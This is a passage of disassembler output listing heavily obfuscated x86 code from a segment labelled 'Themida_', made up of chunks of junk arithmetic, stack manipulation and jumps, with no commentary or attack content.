var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00598885 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059A3D2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059D9B1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4D61 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AB84D SIZE 0000001A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		jmp	loc_59D9B1
sub_5981F9	endp

; ---------------------------------------------------------------------------


loc_598204:				; CODE XREF: Themida_:0059C3E9j
		jmp	loc_5AE0C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_598209:				; CODE XREF: sub_5AE0B5-56CBj
		push	edi
		push	eax
		mov	eax, 7B8835D2h
		add	eax, 736F2F1Dh
		jbe	loc_5A168A
		add	eax, 2A42BADBh
		mov	edi, eax
		jmp	loc_5AAB3F
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A94F5


loc_598227:				; CODE XREF: sub_5A94F5-B477j
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5AF0A9
; END OF FUNCTION CHUNK	FOR sub_5A94F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_598236:				; CODE XREF: sub_5A7343+4918j
		pop	eax
		shl	dl, 2
		xor	dl, 3Bh
		jmp	loc_5AD037
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------


loc_598242:				; CODE XREF: Themida_:0059B900j
		dec	edx
		jge	loc_5A32F4
		push	esi
		mov	esi, 111968D4h
		or	edx, esi
		pop	esi
		jmp	loc_5A30AD
; ---------------------------------------------------------------------------
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_598258:				; CODE XREF: sub_5A1B2A+958Bj
		add	[esp-4+arg_0], 4
		pop	[esp-4+arg_0]
		jmp	loc_59F421
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_598267:				; CODE XREF: Themida_:005AC052j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esi, 4
		jmp	loc_5AD283
; ---------------------------------------------------------------------------


loc_598282:				; CODE XREF: Themida_:0059CB50j
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE919


loc_598295:				; CODE XREF: sub_5AE919-12748j
		mov	[esp+0], ebp
		pop	ecx
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		push	edi
		jmp	loc_5ABA83
; END OF FUNCTION CHUNK	FOR sub_5AE919
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6DA1


loc_5982A5:				; CODE XREF: sub_5A6DA1-ACA0j
		sub	ebp, esi
		add	ebp, 7BFC101Bh
		pop	esi
		sub	ebx, 749C34FDh
		sub	ebx, ebp
		add	ebx, 749C34FDh
		push	[esp-4+arg_0]
		jmp	loc_5ABE82
; END OF FUNCTION CHUNK	FOR sub_5A6DA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5982C4:				; CODE XREF: sub_597C68+F589j
		pop	edi
		sub	[esp+arg_0], ebx
		pop	ebx
		push	[esp-4+arg_0]
		pop	ecx
		jmp	loc_59D448
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------


loc_5982D3:				; CODE XREF: Themida_:005A5A32j
		neg	ecx
		jmp	loc_5A3039
; ---------------------------------------------------------------------------


loc_5982DA:				; CODE XREF: Themida_:0059D8CCj
		sub	edx, edi
		jmp	loc_599B67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5982E1:				; CODE XREF: sub_5A17D6+4A65j
		mov	ebp, [esp+8+var_8]
		push	ebx
		jmp	loc_599C42
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DEB0


loc_5982EA:				; CODE XREF: sub_59DEB0+5BC8j
		shr	ebp, 7
		jmp	loc_5A18FC
; END OF FUNCTION CHUNK	FOR sub_59DEB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5982F2:				; CODE XREF: sub_5A8C33-5C1j
		mov	esp, [esp+8+var_8]
		sub	eax, edx
		mov	edx, [esp+8+var_8]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], edi
		jmp	loc_59848A
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_598314:				; CODE XREF: Themida_:005AAF1Aj
		push	edx
		mov	edx, 51571731h
		push	edx
		jmp	loc_5AA5E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B0C4


loc_598320:				; CODE XREF: sub_59B0C4+11B03j
		jmp	loc_599FF6
; END OF FUNCTION CHUNK	FOR sub_59B0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_598325:				; CODE XREF: sub_5A95E0-C0BEj
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		jmp	loc_59C9EC
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_598331:				; CODE XREF: sub_599059+23B0j
		sub	ebp, 2333DBE9h
		mov	eax, ebp
		pop	ebp
		shr	eax, 7
		or	eax, 58A7712Dh
		push	ecx
		push	eax
		push	19BC5652h
		pop	eax
		push	edi
		mov	edi, 20571B79h
		and	edi, 54687FE6h
		sub	edi, 111A3C64h
		dec	edi
		or	edi, 53902F86h
		sub	edi, 63F40F97h
		sub	eax, edi
		pop	edi
		mov	ecx, eax
		pop	eax
		inc	ecx
		add	ecx, 1EAB79D7h
		add	ecx, 0BC0193F7h
		xor	eax, ecx
		jmp	loc_5ADA23
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_598383:				; CODE XREF: sub_5ABF4A-7320j
		pop	edx
		add	edx, 2D557434h
		sub	edx, 18C0F17h
		jo	loc_5A8BFA
		add	edx, 78AB4DCh
		mov	esi, edx
		pop	edx
		sub	ecx, 168A6259h
		add	ecx, 659D33D1h
		sub	ecx, 80E40E6h
		sub	ecx, esi
		add	ecx, 80E40E6h
		sub	ecx, 659D33D1h
		push	ebx
		mov	ebx, 534435Ch
		jmp	loc_5A27A8
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5983CA:				; CODE XREF: sub_59D151+22j
					; sub_59D99C+E8Fj
		inc	eax
		jmp	loc_59B527
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDCC


loc_5983D0:				; CODE XREF: sub_5ADDCC-107B1j
		sub	dword ptr [esp+0], 4C553F9h
		jmp	loc_5A9969
; END OF FUNCTION CHUNK	FOR sub_5ADDCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_5983DC:				; CODE XREF: sub_5ABE52-915Fj
		jmp	loc_599C34
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5983E1:				; CODE XREF: sub_59CA4A+92DEj
		mov	fs:[edx], ax
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A799C


loc_5983EA:				; CODE XREF: sub_5A799C+39C8j
		or	al, 45h
		jmp	loc_59B40E
; END OF FUNCTION CHUNK	FOR sub_5A799C
; ---------------------------------------------------------------------------


loc_5983F1:				; CODE XREF: Themida_:005A2BB7j
		mov	ebp, 13BE542Dh
		shl	ebp, 1
		add	ebp, 5AAD0FDAh
		jmp	loc_5AECEE
; ---------------------------------------------------------------------------


loc_598403:				; CODE XREF: Themida_:0059B68Bj
		push	693Fh
		mov	[esp], ecx
		push	9143362h
		pop	ecx
		sub	ecx, 614D7B0h
		mov	eax, ecx
		jmp	loc_59E83B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59841E:				; CODE XREF: sub_5AC95F-703Bj
					; Themida_:005ADDBFj
		push	esp
		pop	[esp-8+arg_4]
		push	ebx
		jmp	loc_5A4E0F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_598428:				; CODE XREF: sub_5A8C33+2B0Bj
					; sub_5A4F3D+6979j
		add	eax, 4
		add	eax, 4
		jmp	loc_5A6830
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_598437:				; CODE XREF: sub_5A34FD+81BCj
		jp	loc_5A2952
		push	edx
		xor	byte ptr [esp+4+var_4+1], al
		xor	al, byte ptr [esp+4+var_4+1]
		xor	byte ptr [esp+4+var_4+1], al
		not	al
		xchg	al, byte ptr [esp+4+var_4+1]
		push	[esp+4+var_4]
		pop	edx
		add	esp, 4
		not	dh
		push	ecx
		push	edx
		mov	dh, 78h
		jmp	loc_5A6A97
; END OF FUNCTION CHUNK	FOR sub_5A34FD

; =============== S U B	R O U T	I N E =======================================



sub_598462	proc near		; DATA XREF: Themida_:0059796Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 00597F31 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00598695 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005989E6 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0059A726 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059B2FC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A0E47 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A2639 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A45E5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A891B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A9A24 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AB524 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005ACD20 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AEE29 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AF16F SIZE 00000009 BYTES

		lodsb
		jmp	loc_5A9A24
sub_598462	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CD12


loc_598468:				; CODE XREF: sub_59CD12+C5F8j
		push	esp
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		push	530Dh
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 134C41B7h
		sub	ebx, 37591EE9h
		jmp	loc_5A3FE0
; END OF FUNCTION CHUNK	FOR sub_59CD12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59848A:				; CODE XREF: sub_5A8C33-10924j
		xor	edi, [esp+0Ch+var_C]
		pop	esp
		push	edi
		mov	edi, esp
		push	ecx
		push	ebp
		mov	ebp, 62AC20C3h
		mov	ecx, 9D53DF41h
		add	ecx, ebp
		pop	ebp
		add	edi, ecx
		push	[esp+10h+var_10]
		pop	ecx
		add	esp, 4
		jmp	loc_599B6E
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5984AE:				; CODE XREF: sub_5A8D43-6F62j
		not	eax
		jmp	loc_5A99B5
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_5984B5:				; CODE XREF: Themida_:005AB7BCj
		jge	loc_599BA8
		add	eax, 63975CBDh
		mov	edi, eax
		mov	bh, 36h
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5984C5:				; CODE XREF: sub_5AE6FD-A626j
		neg	cl
		sub	cl, 0D8h
		sub	bl, cl
		pop	ecx
		jmp	loc_5A797F
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A71A8


loc_5984D2:				; CODE XREF: sub_5A71A8+338Ej
		mov	esp, [esp+0]
		xor	bl, al
		movzx	eax, al
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	esp
		pop	ebp
		push	eax
		push	esp
		jmp	loc_5A475C
; END OF FUNCTION CHUNK	FOR sub_5A71A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5984E9:				; CODE XREF: sub_5AB88E+30BFj
		pop	edx
		push	3159h
		mov	[esp+0], ebx
		push	eax
		push	0CE261A9h
		pop	eax
		not	eax
		inc	eax
		jge	loc_5A554E
		jmp	loc_5A18D3
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_598507:				; CODE XREF: sub_5A438E+A931j
		sub	edx, ebx
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		sub	ebx, edx
		pop	edx
		xchg	ebx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp-8+arg_4], edx
		push	esp
		mov	edx, [esp-4+arg_0]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	near ptr dword_59E41D
; END OF FUNCTION CHUNK	FOR sub_5A438E

; =============== S U B	R O U T	I N E =======================================



sub_59852D	proc near		; CODE XREF: Themida_:005AA41Aj
					; sub_5A8F00+24D0j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A38D1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005ADAB7 SIZE 00000035 BYTES

		push	ebp
		mov	ebp, 6A5E4F0Ch
		dec	ebp
		or	ebp, 550A1607h
		neg	ebp
		jmp	loc_5A38D1
sub_59852D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_598541:				; CODE XREF: sub_5A1076-7BFBj
		shl	ecx, 4
		shl	ecx, 3
		push	ecx
		not	[esp+4+var_4]
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		add	ecx, 0F130B436h
		push	ebx
		jmp	loc_5A9FAC
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59855D:				; CODE XREF: sub_5A8D43-346Dj
		xchg	edx, [esp+4+var_4]
		pop	esp
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_598566:				; CODE XREF: Themida_:005A357Ej
		push	ecx
		mov	ecx, 13D775B8h
		add	eax, ecx
		jmp	loc_59F8B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA9C8


loc_598573:				; CODE XREF: sub_5AA9C8+41E2j
		push	edi
		mov	edi, 51840248h
		neg	edi
		jmp	loc_5A22C5
; END OF FUNCTION CHUNK	FOR sub_5AA9C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC9FF


loc_598580:				; CODE XREF: sub_5AC9FF-4208j
		sub	ecx, 2
		push	66ADh
		jmp	loc_59B87D
; END OF FUNCTION CHUNK	FOR sub_5AC9FF

; =============== S U B	R O U T	I N E =======================================



sub_59858D	proc near		; DATA XREF: Themida_:00597AA0o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00598B72 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059CA9C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F96A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A0F4C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A16EB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A8C2B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A932F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A93DE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AE0A7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AE82F SIZE 00000009 BYTES

		lodsb
		xor	al, bl
		push	1553h
		mov	[esp+4+var_4], edx
		mov	dl, 0F2h
		add	dl, 0FFh
		xchg	cl, dl
		jmp	loc_5AE0A7
sub_59858D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5985A4:				; CODE XREF: sub_59FFBE+A100j
		pop	ebx
		sub	esi, ecx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		push	0
		add	[esp-4+arg_0], 17F59A4h
		sub	[esp-4+arg_0], esi
		sub	[esp-4+arg_0], 17F59A4h
		pop	esi
		shl	esi, 1
		shr	esi, 8
		sub	esi, 0D3C60B4Dh
		sub	eax, 22CC0482h
		add	eax, esi
		add	eax, 22CC0482h
		mov	esi, [esp-8+arg_4]
		add	esp, 4
		xor	ebx, eax
		push	4CC2h
		mov	[esp-8+arg_4], edx
		jmp	loc_59D620
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5985F0:				; CODE XREF: sub_5AB3DC-117E2j
		pop	edi
		xchg	edx, [esp-4+arg_0]
		jmp	loc_5AC1F4
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5985F9:				; CODE XREF: Themida_:00598BD2j
					; sub_5A8C33-B78Fj
		push	1340h
		mov	[esp+10h+var_10], esi
		mov	esi, 4
		add	eax, esi
		push	[esp+10h+var_10]
		pop	esi
		add	esp, 4
		jmp	loc_5A74C7
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_598617:				; CODE XREF: Themida_:005A6119j
		mov	[esp], edx
		mov	edx, 2A6F139Ch
		shr	edx, 6
		neg	edx
		jmp	loc_5A5706
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_598629:				; CODE XREF: sub_59EE40+5972j
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 762D3D25h
		or	eax, 28204C9Ch
		sub	eax, 7E2D7DB9h
		jmp	loc_5ABA93
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_598641:				; CODE XREF: sub_5AB98B-FFF3j
		add	bh, ch
		pop	cx
		push	ax
		mov	ah, bh
		jmp	loc_5A0264
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------


loc_59864E:				; CODE XREF: Themida_:005A62BCj
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	eax
		jmp	loc_5A0186
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_59865B:				; CODE XREF: sub_5A600F-31E5j
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp+4+var_4]
		pop	esp
		pop	small word ptr [esp+0]
		jmp	loc_59A74B
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FDC7


loc_598676:				; CODE XREF: sub_59FDC7-16B7j
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ebp
		push	edi
		mov	edi, 1127509Ch
		push	ebx
		mov	ebx, 76490D03h
		not	ebx
		shl	ebx, 7
		neg	ebx
		jmp	loc_5A5DD8
; END OF FUNCTION CHUNK	FOR sub_59FDC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598462


loc_598695:				; CODE XREF: Themida_:005A6753j
					; sub_598462+148CDj
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_5A45E5
; END OF FUNCTION CHUNK	FOR sub_598462
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5986A0:				; CODE XREF: sub_5A91EC+2BFj
		mov	edx, 70E27D8Dh
		jmp	loc_5AC494
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5986AA:				; CODE XREF: sub_5AC95F+19j
		sub	esi, ebp
		jmp	loc_5AA7AC
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5986B1:				; CODE XREF: Themida_:005ACFDFj
		or	ebx, ebp
		pop	ebp
		xor	ebx, 30076ABEh
		push	ebp
		mov	ebp, 3FEA153Fh
		sub	ebx, ebp
		pop	ebp
		sub	edx, 55EA081Ch
		add	edx, ebx
		add	edx, 55EA081Ch
		jmp	loc_5AA077

; =============== S U B	R O U T	I N E =======================================



sub_5986D6	proc near		; CODE XREF: sub_5AE0B5:loc_5A13ECj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00598094 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00598955 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00599289 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059973A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059A950 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059C4F3 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0059C7BC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059CAE4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059CFAD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D2AB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D430 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059D59F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059EA30 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059F329 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059FB24 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A027B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A0D6A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A111C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1172 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A1A94 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A22E1 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A301F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A39DE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A3CAC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A426B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A4389 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A4F4D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A61FC SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A63AD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6608 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A845C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A8836 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A8D7E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A93D6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A9A5F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A9D0E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AA942 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 005AAC9B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AB0BA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005ABB8E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ABC27 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005AC361 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005AE59E SIZE 00000016 BYTES

		push	ebp
		push	959190A2h
		jmp	loc_5A4389
sub_5986D6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5986E1:				; CODE XREF: sub_5A3F42-50F0j
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		push	esi
		mov	esi, 4
		jmp	loc_5AD465
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5986F7:				; CODE XREF: sub_5AB3DC:loc_59AFE3j
		neg	edx
		shr	edx, 7
		jmp	loc_599BD1
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------


loc_598701:				; CODE XREF: Themida_:005A6AAEj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_59ABE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_598717:				; CODE XREF: sub_5A1076+8113j
		xor	ebx, 3CBC51E5h
		dec	ebx
		inc	ebx
		xor	ebx, 56E3385Bh
		add	eax, ebx
		pop	ebx
		mov	ecx, [esp+0]
		jmp	loc_5A4C62
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_598730:				; CODE XREF: Themida_:0059D54Dj
					; sub_598D67+ECADj
		add	ebx, eax
		pop	eax
		add	[esp-4+arg_8], ebx
		pop	ebx
		jmp	loc_5A93AE
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------


loc_59873D:				; CODE XREF: Themida_:005AB4F7j
		mov	[esp], esi
		push	2E83h
		mov	[esp], esp
		jmp	loc_5ABB84
; ---------------------------------------------------------------------------


loc_59874D:				; CODE XREF: Themida_:005A72AEj
		push	ecx
		sub	esp, 4
		jmp	loc_5AB7EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A346D


loc_598759:				; CODE XREF: sub_5A346D-6635j
		sub	ebp, 706809EEh
		mov	edi, [esp+0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59A52D
; END OF FUNCTION CHUNK	FOR sub_5A346D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_598770:				; CODE XREF: sub_59B707+C9j
		pop	eax
		jmp	sub_59AD3B
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAA81


loc_598776:				; CODE XREF: sub_5AAA81+4282j
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_59AB75
; END OF FUNCTION CHUNK	FOR sub_5AAA81
; ---------------------------------------------------------------------------


loc_598781:				; CODE XREF: Themida_:005A9A5Aj
		add	ecx, 0FBE7FFE2h
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_59EADD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_598798:				; CODE XREF: sub_5ACD64-137B9j
		pop	dword ptr fs:[edx]
		jmp	loc_5A1144
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B923


loc_5987A0:				; CODE XREF: sub_59B923+Cj
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		push	74A5h
		mov	[esp+0], eax
		xchg	ecx, [esp+0]
		jmp	loc_5ADD39
; END OF FUNCTION CHUNK	FOR sub_59B923
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CC75


loc_5987B6:				; CODE XREF: sub_59CC75+17j
		sub	ecx, 583040FEh
		add	esi, ecx
		mov	ecx, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A7A19
; END OF FUNCTION CHUNK	FOR sub_59CC75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5987CF:				; CODE XREF: sub_5A91EC+5FA9j
		pop	esp
		mov	[esp-8+arg_4], ebp
		jmp	sub_59A8D4
; END OF FUNCTION CHUNK	FOR sub_5A91EC

; =============== S U B	R O U T	I N E =======================================



sub_5987D8	proc near		; CODE XREF: sub_59BD3A-1960j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00599091 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 005991A0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00599944 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059BC60 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A034A SIZE 00000020 BYTES
